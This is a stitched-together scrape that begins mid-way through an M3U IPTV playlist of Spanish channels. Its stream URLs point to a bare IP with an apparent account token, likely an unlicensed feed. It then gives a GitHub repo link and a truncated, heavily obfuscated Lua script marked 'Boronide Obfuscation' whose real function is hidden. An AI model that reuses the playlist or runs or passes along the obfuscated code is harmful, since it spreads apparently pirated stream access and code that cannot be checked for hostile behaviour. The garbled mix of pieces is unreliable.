http://51.91.73.99:25461/spain/XDWu1KatRP/21825 560 #EXTINF:-1,ES: SYFY FHD 561 http://51.91.73.99:25461/spain/XDWu1KatRP/21826 562 #EXTINF:-1,ES: TAQUILLA 1 HD 563 http://51.91.73.99:25461/spain/XDWu1KatRP/21827 564 #EXTINF:-1,ES: TAQUILLA 2 HD 565 http://51.91.73.99:25461/spain/XDWu1KatRP/21828 566 #EXTINF:-1,ES: TAQUILLA 3 HD 567 http://51.91.73.99:25461/spain/XDWu1KatRP/21829 568 #EXTINF:-1,ES: TAQUILLA 4 HD 569 http://51.91.73.99:25461/spain/XDWu1KatRP/21830 570 #EXTINF:-1,ES: TAQUILLA 5 HD 571 http://51.91.73.99:25461/spain/XDWu1KatRP/21831 572 #EXTINF:-1,ES: TAQUILLA 6 HD 573 http://51.91.73.99:25461/spain/XDWu1KatRP/21832 574 #EXTINF:-1,ES: TAQUILLA 7 HD 575 http://51.91.73.99:25461/spain/XDWu1KatRP/21833 576 #EXTINF:-1,ES: TAQUILLA 8 HD 577 http://51.91.73.99:25461/spain/XDWu1KatRP/21834 578 #EXTINF:-1,ES: Taquilla 9 HD 579 http://51.91.73.99:25461/spain/XDWu1KatRP/21835 580 #EXTINF:-1,ES: Taquilla 10 HD 581 http://51.91.73.99:25461/spain/XDWu1KatRP/21836 582 #EXTINF:-1,ES: Taquilla 11 HD 583 http://51.91.73.99:25461/spain/XDWu1KatRP/21837 584 #EXTINF:-1,ES: Taquilla 12 HD 585 http://51.91.73.99:25461/spain/XDWu1KatRP/21838 586 #EXTINF:-1,ES: TAQUILLA HARRY POTTER 587 http://51.91.73.99:25461/spain/XDWu1KatRP/21839 588 #EXTINF:-1,ES: Taroteame 589 http://51.91.73.99:25461/spain/XDWu1KatRP/21840 590 #EXTINF:-1,ES: TC Television HD 591 http://51.91.73.99:25461/spain/XDWu1KatRP/21841 592 #EXTINF:-1,ES: TCM FHD 593 http://51.91.73.99:25461/spain/XDWu1KatRP/21842 594 #EXTINF:-1,ES: TDP FHD 595 http://51.91.73.99:25461/spain/XDWu1KatRP/21843 596 #EXTINF:-1,ES: TELE MADRID FHD 597 http://51.91.73.99:25461/spain/XDWu1KatRP/21844 598 #EXTINF:-1,ES: TELE SAFOR 599 http://51.91.73.99:25461/spain/XDWu1KatRP/21845 600 #EXTINF:-1,ES: TELECINCO FHD 601 http://51.91.73.99:25461/spain/XDWu1KatRP/21846 602 #EXTINF:-1,ES: TELECINO HD 603 http://51.91.73.99:25461/spain/XDWu1KatRP/21847 604 #EXTINF:-1,ES: Teledeporte FHD 605 http://51.91.73.99:25461/spain/XDWu1KatRP/21848 606 #EXTINF:-1,ES: Telenico HD 607 http://51.91.73.99:25461/spain/XDWu1KatRP/21849 608 #EXTINF:-1,ES: TELENOVELAS 609 http://51.91.73.99:25461/spain/XDWu1KatRP/21850 610 #EXTINF:-1,ES: TelePavia 611 http://51.91.73.99:25461/spain/XDWu1KatRP/21851 612 #EXTINF:-1,ES: Telesur FHD 613 http://51.91.73.99:25461/spain/XDWu1KatRP/21852 614 #EXTINF:-1,ES: Televisión Melilla HD 615 http://51.91.73.99:25461/spain/XDWu1KatRP/21853 616 #EXTINF:-1,ES: TEN 617 http://51.91.73.99:25461/spain/XDWu1KatRP/21854 618 #EXTINF:-1,ES: TNT FHD 619 http://51.91.73.99:25461/spain/XDWu1KatRP/21855 620 #EXTINF:-1,ES: TOROS FHD 621 http://51.91.73.99:25461/spain/XDWu1KatRP/21856 622 #EXTINF:-1,ES: TRECE 623 http://51.91.73.99:25461/spain/XDWu1KatRP/21857 624 #EXTINF:-1,ES: TV 3 Catalunya FHD 625 http://51.91.73.99:25461/spain/XDWu1KatRP/21858 626 #EXTINF:-1,ES: TV 4 Vall Uxó 627 http://51.91.73.99:25461/spain/XDWu1KatRP/21859 628 #EXTINF:-1,ES: TV 13 629 http://51.91.73.99:25461/spain/XDWu1KatRP/21860 630 #EXTINF:-1,ES: TV Evangelizar HD 631 http://51.91.73.99:25461/spain/XDWu1KatRP/21861 632 #EXTINF:-1,ES: TV GALICIA FHD 633 http://51.91.73.99:25461/spain/XDWu1KatRP/21862 634 #EXTINF:-1,ES: TV Girona 635 http://51.91.73.99:25461/spain/XDWu1KatRP/21863 636 #EXTINF:-1,ES: TV MELILLA 637 http://51.91.73.99:25461/spain/XDWu1KatRP/21864 638 #EXTINF:-1,ES: TV RECORD FHD 639 http://51.91.73.99:25461/spain/XDWu1KatRP/21865 640 #EXTINF:-1,ES: TV3 Cat 641 http://51.91.73.99:25461/spain/XDWu1KatRP/21866 642 #EXTINF:-1,ES: TV3 Cataluña FHD 643 http://51.91.73.99:25461/spain/XDWu1KatRP/21867 644 #EXTINF:-1,ES: TV3 FHD 645 http://51.91.73.99:25461/spain/XDWu1KatRP/21868 646 #EXTINF:-1,ES: TVE 24H 647 http://51.91.73.99:25461/spain/XDWu1KatRP/21869 648 #EXTINF:-1,ES: TVE Internacional 649 http://51.91.73.99:25461/spain/XDWu1KatRP/21870 650 #EXTINF:-1,ES: TVE La 1 FHD 651 http://51.91.73.99:25461/spain/XDWu1KatRP/21871 652 #EXTINF:-1,ES: TVE La1 Madrid 653 http://51.91.73.99:25461/spain/XDWu1KatRP/21872 654 #EXTINF:-1,ES: TVE La2 HD 655 http://51.91.73.99:25461/spain/XDWu1KatRP/21873 656 #EXTINF:-1,ES: TVN 7 FHD 657 http://51.91.73.99:25461/spain/XDWu1KatRP/21874 658 #EXTINF:-1,ES: Une Vinalopó 659 http://51.91.73.99:25461/spain/XDWu1KatRP/21875 660 #EXTINF:-1,ES: VH1 661 http://51.91.73.99:25461/spain/XDWu1KatRP/21876 662 #EXTINF:-1,ES: Viajar FHD 663 http://51.91.73.99:25461/spain/XDWu1KatRP/21878 664 #EXTINF:-1,ES: XTRM FHD 665 http://51.91.73.99:25461/spain/XDWu1KatRP/21879
GitHub Repo https://github.com/Yutsayyywwwwwa/-Dogwater

Yutsayyywwwwwa/-Dogwater

--Boronide™ Free Obfuscation, v0.3.3 local a,b,c=nil,nil,nil([[Boronide Obfuscation, discord.gg/boronide]]):gsub('(.*)',function(d)local e="h6tahTjcrNXsUZeHPGc8G7P7"local f="E8QLRFuKcBKinhFOkr6Txj7Q"local g=3374;local h=4349;while(g<h)do h=g-8698;do while(g>(h-12))do h=(g+3964)*2;do while(g<h)do h=g-29352;e=d end end ;do if g>(h-6748)then h=(g+6748)c=getfenv or function()return _ENV end end end end end ;do if(6748-g)<(h+3395)then g=((h+3374)*2)f=d end end end;local c=c()local d=c["string"]["\99\104\97\114"](99,104,97,114)local g=c[string[d](115,116,114,105,110,103)]local h="w_FO1YvOp5IJ_JEze8v"local i="FhPtD"local j="feEcFocMGgixL"do local a=57;local b=9.948514753135893;local e=945.8116617232874;local f={}do while(true)do do if(a*9==864)then if(a+48==144)and((e==58.065739250560796)and(b==254.19723852254086)and(f[683]==false)and(f[978]=='taq5mMQ1YN')and(f[85]=='y6Sc0G8XbW'))then break end end end ;do if(a*5==285)then do while((e==945.8116617232874)and(b==9.948514753135893))and(a+28==85)do f[683]=false;b=208.10539351100033;f[978]='XdSMTTzvzL'e=14.79275139770333;a=0;f[85]='14JaubIdy7'break end end end end ;do if(a*0==0)then if((e==14.79275139770333)and(b==208.10539351100033)and(f[683]==false)and(f[978]=='XdSMTTzvzL')and(f[85]=='14JaubIdy7'))and(a+0==0)then e=293.81901756205644;b=50.76360028999613;f[683]=false;j=c[g[d](115,116,114,105,110,103)][d]f[978]='Cc8BoLxI5L'a=185;f[85]='zIiZJ6JTj2'end end end ;while(a+92==277)and((e==293.81901756205644)and(b==50.76360028999613)and(f[683]==false)and(f[978]=='Cc8BoLxI5L')and(f[85]=='zIiZJ6JTj2'))do f[978]='QRnnIlRuvR'h=c[g[d](115,116,114,105,110,103)][g[d](98,121,116,101)]f[85]='ZayGksf8ut'e=688.0362155309301;f[683]=false;b=60.11202450937801;a=137;break end;do if(a*13==1781)then do while((e==688.0362155309301)and(b==60.11202450937801)and(f[683]==false)and(f[978]=='QRnnIlRuvR')and(f[85]=='ZayGksf8ut'))and(a+68==205)do i=c[g[d](115,116,114,105,110,103)][g[d](103,109,97,116,99,104)]f[85]='y6Sc0G8XbW'e=58.065739250560796;a=96;f[978]='taq5mMQ1YN'f[683]=false;b=254.19723852254086;break end end end end ;if(a+164==492)and((e==58.767843705359496)and(b==30.314354735452678)and(f[683]==false)and(f[978]=='INVDZQdEvM')and(f[85]=='hgLTbPgahH'))then a=57;e=945.8116617232874;b=9.948514753135893 end end end end;b={[f]=41,['\95'..j(66,111,114,111,110,105,100,101,32,79,98,102,117,115,99,97,116,105,111,110,44,32,100,105,115,99,111,114,100,46,103,103,47,98,111,114,111,110,105,100,101)]=e}b[g[d](95,120,95,88,88,90,120,76,120,53,48,79,57,121,51,108,49)]=h;b[g[d](95,120,89,52,50,49,76,53,55,111,56,52,95,57,53,76,51)]=j;b[g[d](95,120,73,50,56,120,95,56,122,73,54,48,48,95,55,55,76)]=i;do local c=727;local d=103.18096328243759;local g=418.9780934608633;local h={}do for i in(function()return 217 end)do if(c+0==0)and((d==738.9184538030601)and(g==211.83434845499667)and(h[483]==false)and(h[587]=='i3cQ61Egex')and(h[103]=='fzK6QeZKK4'))then d=189.85164783288644;g=663.1195070633222;do if(b[f]~=nil and(#e~=b[f]))then return 0 end end ;h[103]='qivLTCop58'h[587]='SVAmdDmxDV'h[483]=false;c=518 end;if(c*9==855)then do while(c+47==142)and((d==21.780102306438227)and(g==239.285573041695)and(h[483]==false)and(h[587]=='Ek5W5sVSyH')and(h[103]=='CQDIUtD1jq'))do do if(e~=b['\95'..f])then return(b[3123139])end end ;g=365.35801399237056;d=93.87829916798594;h[103]='Mdwrllf9dA'c=621;h[483]=false;h[587]='G5b9Sb0Ash'break end end end;do if(c*51==26418)then while((d==189.85164783288644)and(g==663.1195070633222)and(h[483]==false)and(h[587]=='SVAmdDmxDV')and(h[103]=='qivLTCop58'))and(c+259==777)do g=239.285573041695;h[103]='CQDIUtD1jq'h[587]='Ek5W5sVSyH'd=21.780102306438227;c=95;h[483]=false;do if(j(66,111,114,111,110,105,100,101,32,79,98,102,117,115,99,97,116,105,111,110,44,32,100,105,115,99,111,114,100,46,103,103,47,98,111,114,111,110,105,100,101)~=f)then return false end end ;break end end end ;if(c+369==1107)and((d==158.97721220192196)and(g==83.74291241419341)and(h[483]==false)and(h[587]=='hS7rfCRtqr')and(h[103]=='Z09WctucsN'))then break end;do if(c*62==38502)then do while(c+310==931)and((d==93.87829916798594)and(g==365.35801399237056)and(h[483]==false)and(h[587]=='G5b9Sb0Ash')and(h[103]=='Mdwrllf9dA'))do h[483]=false;g=83.74291241419341;d=158.97721220192196;a=f;h[587]='hS7rfCRtqr'c=738;h[103]='Z09WctucsN'break end end end end ;if(c+290==871)and((d==409.4645378779734)and(g==189.79093164113664)and(h[483]==false)and(h[587]=='InEFHyLLnL')and(h[103]=='QiiLnUTWEi'))then d=103.18096328243759;c=727;g=418.9780934608633 end;do if(c+363==1090)and((d==103.18096328243759)and(g==418.9780934608633))then h[483]=false;g=211.83434845499667;h[103]='fzK6QeZKK4'c=0;h[587]='i3cQ61Egex'd=738.9184538030601 end end end end end;a=f;b[f]=nil end)local d=b["_xI28x_8zI600_77L"]local e=b["_xY421L57o84_95L3"]local f=b["_x_XXZxLx50O9y3l1"]local g=c()[e(115,116,114,105,110,103)]local h=0;local i={}local j={}local k=g[e(115,117,98)]for a=h,255 do local a,b=e(a),e(a,h)i[a]=b;j[b]=a end(b)["_x_XXZxLx50O9y3l1"]=nil(b)["_xY421L57o84_95L3"]=(i[357.4824488531758]) ;(b)["_xI28x_8zI600_77L"]=nil;local j=c()[e(115,116,114,105,110,103)][e(115,117,98)]local k="_xyL54iz3lOZyx3O"local l=function(...)return...end;local l={(b[2165149])}local l=g[e(108,101,110)]local m=c()[e(112,97,105,114,115)]local n=0;local n=-1;local o=c()[e(114,97,119,103,101,116)]local function p(a,b,c)do if c==5365109 then return a==b elseif c==8493765 then return a<b elseif c==9498889 then return a<=b end end end;local q=c()[e(116,97,98,108,101)][e(99,111,110,99,97,116)]local g=g[e(102,111,114,109,97,116)]local function r(a,b,c)if p(c,9139765,5365109)then return a..b elseif p(c,8956974,5365109)then return q(a,b)end end;local function q(a,b,c)if p(c,3647149,5365109)then return a*b elseif p(c,3065112,5365109)then return a/b elseif p(c,4623770,5365109)then return a+b elseif p(c,8986428,5365109)then return a-b elseif p(c,9364006,5365109)then return a%b elseif p(c,7181735,5365109)then return a^b end end;local s={}local t=c()[e(109,97,116,104)][e(102,108,111,111,114)]local function u(a,b)if p(b,3391225,5365109)then return-a elseif p(b,665512,5365109)then return not a elseif p(b,7695891,5365109)then return#a end end;local v,w,x,y,z,A,B;local C=5259;local D=3464;while(C>(D-11))do D=(C+1747)*2;do while(C<D)do D=C-28024;do while(C>(D-12))do D=(C+892)*2;w=function(a,b)local c=""local d=1;for e=1,#a do local a=B(a[e],f(b,d))c=c..s[a]or a;d=d+1;do if d>#b then d=1 end end end;return c end end end ;do if(10518-C)<(D+5292)then C=((D+5259)*2)z=function(a,b)return t(a)*(2^b)end end end end end ;if C>(D-70244)then D=(C+10518)A=function(a,b)local c=""local d=1;do for e=1,#a do local a=B(f(a,e),f(b,d))c=c..o(s,a)or a;d=d+1;do if d>#b then d=1 end end end end ;return c end end end;B=function(a,b)local c,d=1,0;do while a>0 and b>0 do local e,f=a%2,b%2;do if e~=f then d=d+c end end ;a,b,c=(a-e)/2,(b-f)/2,c*2 end end ;do if a<b then a=b end end ;do while a>0 do local b=a%2;do if b>0 then d=d+c end end ;a,c=(a-b)/2,c*2 end end ;return d end;local t=1;do for a,b in m(i)do s[f(a)]=a end end ;local i=(function()return 0.08447830531680767 end)local t=(function(a)do while a do i()end end ;return function()s=nil;B=nil end end) ;(i)()n=function(a)local b={}do for a,a in m(a)do b[a]=true end end ;return b end;local i=c()[e(117,110,112,97,99,107)]local t=c()[e(110,101,120,116)]local function t(a,b,c)do for a=a,b do c(a)end end end;local function w(a,b,c)do if c then local a=(a/2^(b-1))%2^((c-1)-(b-1)+1)return a-a%1 else local b=2^(b-1)if(a%(b+b)>=b)then return 1 else return 0 end end end end;local C={n({563}),n({655})}do local a={}local b=166.12468063054843;local c=382;local d=832.5051954028818;repeat while((d==553.1360981809197)and(b==345.8360218134957)and(a[389]==false)and(a[361]=='kKtlHgxNZr')and(a[594]=='jPASwI8ypq'))and(c+193==580)do b=166.12468063054843;c=382;d=832.5051954028818;break end;do if(c*0==0)then if((d==72.41359143434201)and(b==350.227169284117)and(a[389]==false)and(a[361]=='GpCycWFw5h')and(a[594]=='kggh5h9fJT'))and(c+0==0)then a[389]=false;c=871;a[594]='A1x7z6emcN'a[361]='ZcOsted19e'b=202.39653038946878;y=function(a,b)local c=""local d=1;local e=#b-1;t(d,#a,function(g)c=c..s[B(a[g],f(b,d))]d=(d>e)and 1 or d+1 end)return c end;d=39.429125728040624 end end end ;do if((d==56.25303177157137)and(b==162.3911203926438)and(a[389]==false)and(a[361]=='8aN0FF3z3x')and(a[594]=='EFEqUS1d81'))and(c+349==1048)then v=function(a,b)local c=""local d=1;local e=l(b)-d;t(d,l(a),function(g)c=c..s[B(f(a,g),f(b,d))]d=(d>e)and 1 or d+1 end)return c end;c=984;a[594]='qvkQqb6mJu'a[389]=false;b=27.191541559794224;d=785.0674591092454;a[361]='sXpkwwTSvZ'end end ;while((d==832.5051954028818)and(b==166.12468063054843))and(c+191==573)do a[594]='kggh5h9fJT'a[389]=false;c=0;d=72.41359143434201;a[361]='GpCycWFw5h'b=350.227169284117;break end;while(c+435==1306)and((d==39.429125728040624)and(b==202.39653038946878)and(a[389]==false)and(a[361]=='ZcOsted19e')and(a[594]=='A1x7z6emcN'))do x=function(a,b)local c=""do for d=1,l(a)do c=c..s[B(f(a,d),b)]end end ;return c end;d=56.25303177157137;a[389]=false;a[361]='8aN0FF3z3x'c=699;a[594]='EFEqUS1d81'b=162.3911203926438;break end;do if((d==785.0674591092454)and(b==27.191541559794224)and(a[389]==false)and(a[361]=='sXpkwwTSvZ')and(a[594]=='qvkQqb6mJu'))and(c+492==1476)then break end end until(false)end;local D={{},{}}local E=1;do for a=1,255 do if a>=112 then D[2][E]=a;E=E+1 else D[1][a]=a end end end ;local i=e(i(D[1]))..e(i(D[2]))local i,D,E,F,G,H,I,J;do local a={}local b=919.4347501295013;local c=193.70197571712922;local d=261;repeat do if(d*68==46784)then if(d+344==1032)and((c==133.23743226270184)and(b==43.392529992415184)and(a[140]==false)and(a[788]=='ooX06s4jnR')and(a[601]=='sQTSkY29zS'))then c=675.2821306027946;a[601]='jRyYJxUQbn'a[788]='KjAJTHHkoc'b=601.8623227751257;i=e(76,103,73,113,113,88,69,115,103,52,56)a[140]=false;d=955 end end end ;if(d*95==90725)then do while((c==675.2821306027946)and(b==601.8623227751257)and(a[140]==false)and(a[788]=='KjAJTHHkoc')and(a[601]=='jRyYJxUQbn'))and(d+477==1432)do a[788]='y6qhLa7r8P'b=302.770673724087;i=e(97,86,76,105,86,53,122,54,110,115,108)c=382.11234662433696;a[140]=false;a[601]='l4DU3GrGru'd=331;break end end end;do if(d*39==15366)then do while((c==405.661041018595)and(b==33.77331273836841)and(a[140]==false)and(a[788]=='h62mIoBObN')and(a[601]=='jtyPketASN'))and(d+197==591)do i=e(80,55,118,74,101,103,55,54,81,76)a[788]='1VEeQKJpmB'b=38.765723076891994;a[601]='9EPuF7it92'c=233.2319530325613;d=591;a[140]=false;break end end end end ;if(d*0==0)then if((c==204.21509204386967)and(b==530.3847071390861)and(a[140]==false)and(a[788]=='UayTpoo3KJ')and(a[601]=='2MHLyvyawS'))and(d+0==0)then a[788]='h62mIoBObN'i=e(89,55,49,103,120,95,54,97,66,101,74)a[601]='jtyPketASN'b=33.77331273836841;c=405.661041018595;a[140]=false;d=394 end end;do if((c==105.81836335190657)and(b==353.2561027421426)and(a[140]==false)and(a[788]=='ffrpKaBC9l')and(a[601]=='uz6lLyLZKb'))and(d+120==361)then b=919.4347501295013;c=193.70197571712922;d=261 end end ;do if(d*59==34869)then do while((c==233.2319530325613)and(b==38.765723076891994)and(a[140]==false)and(a[788]=='1VEeQKJpmB')and(a[601]=='9EPuF7it92'))and(d+295==886)do a[140]=false;a[601]='sQTSkY29zS'd=688;i=e(122,99,108,114,79,84,89,102,105,73,86)a[788]='ooX06s4jnR'b=43.392529992415184;c=133.23743226270184;break end end end end ;do if(d+374==1123)and((c==60.145514721735665)and(b==130.45027400854417)and(a[140]==false)and(a[788]=='GiPFvYDt2C')and(a[601]=='GplPShk7Ar'))then break end end ;if(d+165==496)and((c==382.11234662433696)and(b==302.770673724087)and(a[140]==false)and(a[788]=='y6qhLa7r8P')and(a[601]=='l4DU3GrGru'))then a[601]='GplPShk7Ar'c=60.145514721735665;a[788]='GiPFvYDt2C'a[140]=false;d=749;i=e(90,113,113,90,103,89,83,68,119,89,102)b=130.45027400854417 end;if(d*26==6786)then do while((c==193.70197571712922)and(b==919.4347501295013))and(d+130==391)do a[601]='2MHLyvyawS'a[140]=false;a[788]='UayTpoo3KJ'b=530.3847071390861;c=204.21509204386967;d=0;break end end end until(false)end;local K=1219;local L=2585;do while(K<L)do L=K-5170;do while(K>(L-11))do L=(K+1006)*2;do while(K<L)do L=K-8900;do while(K>(L-10))do L=(K+1339)*2;G=function(a,...)return x(a,J,...)end end end ;if(2438-K)<(L+1263)then K=((L+1219)*2)I=function(...)return y(...,i)end end end end ;if K>(L-25340)then L=(K+2438)H=function(a,...)return v(a,i,...)end end end end ;if(25340-K)<(L+12695)then K=((L+1219)*2)F=function(a,...)return v(a,J,...)end end end end ;do local a=17.85018225924042;local b=75.08435333775887;local c={}local d=490;repeat if(d*58==34104)then if((a==552.2543597836177)and(b==598.8255189920208)and(c[338]==false)and(c[515]=='cGkknDJSxM')and(c[243]=='fQGT0Levhr'))and(d+294==882)then d=490;a=17.85018225924042;b=75.08435333775887 end end;do if(d*5==275)then while(d+27==82)and((a==32.26456136119497)and(b==162.54559534601248)and(c[338]==false)and(c[515]=='nrdWUB3lIv')and(c[243]=='LZsTgzohtt'))do b=128.26540198429447;c[515]='8XxXLEs8zd'd=514;c[338]=false;a=224.7930387882687;J=55;c[243]='Qz0fH0XVjT'break end end end ;do if(d*36==12996)then while((a==399.4174456874884)and(b==188.60442304701706)and(c[338]==false)and(c[515]=='tlcPbR4WRJ')and(c[243]=='V0bTSwtNxr'))and(d+180==541)do c[243]='aFnnJYtM0i'c[338]=false;d=489;b=252.71486889200676;J=65;a=20.13547506854322;c[515]='um4ZjLL8YI'break end end end ;do if(d+244==733)and((a==20.13547506854322)and(b==252.71486889200676)and(c[338]==false)and(c[515]=='um4ZjLL8YI')and(c[243]=='aFnnJYtM0i'))then c[243]='bKa6peZWF5'J=183;b=629.5957401197459;c[515]='oRr3IlatKR'a=680.5000090809137;c[338]=false;d=773 end end ;while(d+245==735)and((a==17.85018225924042)and(b==75.08435333775887))do c[243]='J6DWkbgJfR'c[515]='CcHbTRPqOG'c[338]=false;d=0;a=486.39791232609065;b=324.25681087174496;break end;do if(d+0==0)and((a==486.39791232609065)and(b==324.25681087174496)and(c[338]==false)and(c[515]=='CcHbTRPqOG')and(c[243]=='J6DWkbgJfR'))then c[243]='goKG7y9RAL'b=1.985993166566552;c[515]='BvEV83CpCq'c[338]=false;J=200;a=457.9926267727917;d=534 end end ;if(d*53==28302)then do if((a==457.9926267727917)and(b==1.985993166566552)and(c[338]==false)and(c[515]=='BvEV83CpCq')and(c[243]=='goKG7y9RAL'))and(d+267==801)then c[243]='LZsTgzohtt'c[515]='nrdWUB3lIv'J=64;a=32.26456136119497;d=55;c[338]=false;b=162.54559534601248 end end end;while((a==224.7930387882687)and(b==128.26540198429447)and(c[338]==false)and(c[515]=='8XxXLEs8zd')and(c[243]=='Qz0fH0XVjT'))and(d+257==771)do c[243]='V0bTSwtNxr'J=40;b=188.60442304701706;a=399.4174456874884;d=361;c[515]='tlcPbR4WRJ'c[338]=false;break end;do if(d+386==1159)and((a==680.5000090809137)and(b==629.5957401197459)and(c[338]==false)and(c[515]=='oRr3IlatKR')and(c[243]=='bKa6peZWF5'))then break end end until(false)end;D=y({34,51,12,21,46,63,53,3,27,37,8,44},"\109\98\74\80\98\83\109\83\83\110\97\73")local x=f(e(1))b["_xy8xiXY1IZ68zL_O7"]=function(a,c)local d=e()local e=x;for h=x,#a do local a=B(f(a,h),f(c,e))d=g(((b[1685716])),d,o(s,a)or a)e=e+x;e=(e>#c and x)or e end;return d end;local g=b[I({5,9,8,98,31,48,11,29,70,16,60,108,73,11,22,56,22,100})]local o=function(a,b)if(b>=h)then return q(a,z(1,b),3647149)else return q(a,z(1,-b),3065112)end end;return(function(x)do if false then while x do x=21.119814741303067 end else local y,z,F;y=(y or 0)for a,a in m(x)do y=(y or 0)+1 end;do if(y<2)then return("Pww2g4hY6eABf")end end ;local m=4143;local y=5428;while(m<y)do y=m-10856;do while(m>(y-10))do y=(m+3126)*2;z=x[1]end end ;if(8286-m)<(y+4147)then m=((y+4143)*2)F=x[2]end end;b={}do local a=c()[H("\41\20\5\55\2\45\50\48\22\59\10\63")]if false then do while b do a=(function()return 1629.027978798998 end)end end else if(a~=nil)then b[H("\5\9\8\22\82\109\58\62\68\53\41\0\8\9\105\40")]=a({[-52.040765826064415]=24.690851813176366;[-112.37664597254837]=36.91416891971312;[-207.08781555142917]=60.440813740567904;[-96.97928489414542]=-89.95126338231603},{[H("\5\46\5\53\20\45\33\45\25\62")]=function(a,a)return(function()while true do b=b or nil;if(b~=nil and b[1]~=nil)then break else b["\102\99\121\70\116\53\65\52\97\106\108\85\112\101"]="\73\119\118\67\111\49\81\119\99\55\121\86"end end;return"\66\106\81\84\90\109\74\110\50\100\68\69\55\52\115\79\65\74\81\86\79\89\73\51\87\99\52\108"end)()end})b[1]=b[k]end;do do local a=90.67809134195495;local c={}local d=461.00052345133685;local e=9;for f in(function()return 217 end)do do if(e*0==0)then if(e+0==0)and((a==85.44602230769613)and(d==21.730386045707565)and(c[19]==false)and(c[229]=='TptazFbUia')and(c[755]=='lnFtKntyaA'))then d=28.847699162927583;a=184.65450380107146;c[229]='NNLH2H8nbK'b[B(1700453,12)]=v("\60\26\38\47\51\96\28\40\58\111",i)b[B(8508690,12)]=v("\28\4\40\59\34\60\26\30\49\44",i)b[B(8533574,12)]=v("\21\11\71\107\10\19\27\114\4\54",i)b[B(6568593,12)]=v("\34\9\56\34\84\54\31\43\70\0",i)e=104;c[755]='8AdbiyTKMr'c[19]=false end end end ;do if(e*73==53874)then do while(e+369==1107)and((a==379.7152480064366)and(d==536.2680725071897)and(c[19]==false)and(c[229]=='Wa6VCOAdza')and(c[755]=='XcWYfv7aYE'))do d=121.02346953031378;a=49.79048655487769;c[19]=false;c[229]='rNjOKp16hp'c[755]='90n04CCtnY'e=516;b[B(6275307,12)]=v("\119",i)b[B(2540808,12)]=v("\9\35\20\8\36\27\42\118\17\51",i)b[B(5276922,12)]=v("\31\40\19\22\23\23\31\42\6\22",i)break end end end end ;while((a==107.4758935470861)and(d==22.861118822309212)and(c[19]==false)and(c[229]=='dyhokxcZNX')and(c[755]=='nwVceYsWFT'))and(e+410==1231)do e=252;c[19]=false;c[229]='4NEQ99CtpR'd=187.20329069006706;b[B(1329032,12)]=v("\41\48\58\106\31\108\61\17\17\52",i)b[B(8063843,12)]=v("\22\40\36\14\8\41\54\17",i)b[B(240501,12)]=v("\27\29\3\63\6\61\42\100\5\56\8\122\89\64\115\70",i)b[B(9086600,12)]=v("\109\50\36\63\6\32\24\29\60\10",i)c[755]='UEnu9MnhYa'a=11.927142565930588;break end;do while(e+170==511)and((a==129.40603157338816)and(d==799.8451122313066)and(c[19]==false)and(c[229]=='f1u0IXhj9n')and(c[755]=='uRLlQYLyBb'))do b[B(7880641,12)]=v("\2\3\27\27\33\26\22\6\48\48",i)b[B(2473752,12)]=v("\21",i)c[229]='1ebOJadBlU'e=306;c[19]=false;a=178.86898550664802;c[755]='x4h30dKquZ'd=378.6028379568792;break end end ;do if(e+256==768)and((a==178.9231968561778)and(d==262.4447653255673)and(c[19]==false)and(c[229]=='ylBwbuZPSX')and(c[755]=='FSu3HhTyHR'))then c[19]=false;d=122.38435599325487;c[229]='SxJYXGE5yN'c[755]='t6jCCXL2ON'b[B(9286655,12)]=v("\8",i)b[B(1056000,12)]=v("\41\5\3\51\9\62",i)b[B(4752413,12)]=v("\22\18\4\51\5\42\1\52\47\15",i)b[B(2035270,12)]=v("\14\73\54\8\47\3\20\47\37\104",i)a=135.91647619054294;e=343 end end ;do if(e*13==1716)then do while(e+66==198)and((a==125.54509930593991)and(d==342.6940217999622)and(c[19]==false)and(c[229]=='nrRUsHhNQu')and(c[755]=='u9K1Scc9CS'))do d=438.71494222691376;c[19]=false;a=15.849253129293423;b[B(6308149,12)]=v("\45\70\40\32\44\52\11\119\33\105",i)b[B(6952497,12)]=v("\5\9\8\98\31\48\11\29\70\16\60\108\73\11\22\56\22\100",i)c[229]='0ArOYyDfxE'c[755]='bDxYOi5i1S'e=95;break end end end end ;if(e*51==26316)then do while((a==49.79048655487769)and(d==121.02346953031378)and(c[19]==false)and(c[229]=='rNjOKp16hp')and(c[755]=='90n04CCtnY'))and(e+258==774)do b[B(3248083,12)]=v("\47\55\38\0\29\108\26\1\48\19",i)b[B(1381334,12)]=v("\34\9\69\99\81\53\96\116\14\105",i)b[B(8586263,12)]=v("\46\29\30\46\3\16\27\51\13\43",i)c[755]='JnjK8vacap'd=747.2328387930687;c[19]=false;a=23.49771975215293;c[229]='O53sNekbnU'e=615;break end end end;do if(e*14==1988)then while(e+71==213)and((a==229.0921775313839)and(d==24.120305823604827)and(c[19]==false)and(c[229]=='hl6KJVTEVY')and(c[755]=='GYng8XVGPs'))do b[B(1428362,12)]=v("\5\46\31\63\16\48\61\32\18\33",i)c[19]=false;e=100;a=277.7114148123773;c[755]='Q5P2oDUEPH'd=32.738261402931585;c[229]='tOKo5kM1ra'break end end end ;do if(e*81==66096)then do while(e+408==1224)and((a==406.78003561903637)and(d==305.19090846842425)and(c[19]==false)and(c[229]=='b2eg86cyTR')and(c[755]=='F48qRfyZBo'))do d=0.643508967338239;c[755]='0IDq97Ni3S'b[B(378069,12)]=v("\27\29\3\63\6\61\42\100\5\56\8\122\89\67\115\70",i)b[B(3460008,12)]=v("\24\30\3\53\9\48\55\33\87\22\4\60\4\2\57\6\45\60\54",i)b[B(7929578,12)]=v("\43\52\71\10\20\44\48\45\62\40",i)b[B(486081,12)]=v("\20\28\72\107\31\46\41\40\68\26",i)e=902;c[19]=false;c[229]='VFO38OLOFM'a=136.08876818559537;break end end end end ;if(e+286==858)and((a==570.9561596732043)and(d==6.46502739477487)and(c[19]==false)and(c[229]=='XwdPJY6OPE')and(c[755]=='XDDhtSRw7g'))then d=305.19090846842425;c[19]=false;e=816;a=406.78003561903637;c[229]='b2eg86cyTR'c[755]='F48qRfyZBo'b[B(8376163,12)]=v("\34\29\46\54\31\35\99\13\59\22",i)b[B(1493558,12)]=v("\48\30\50\110\40\20\0\45\5\45",i)b[B(7881700,12)]=v("\51\31\7\59\11\48\55\100\30\55\2\63\9\80",i)b[B(1452326,12)]=v("\15\20\43\23\52\54\38\1\69\27",i)b[B(1846702,12)]=v("\34\62\29\108\29\48\96\30\67\33",i)b[B(9818913,12)]=v("\22\38\73\60\30\63\7\60\46\56",i)end;do if(e*30==9180)then do while((a==178.86898550664802)and(d==378.6028379568792)and(c[19]==false)and(c[229]=='1ebOJadBlU')and(c[755]=='x4h30dKquZ'))and(e+153==459)do 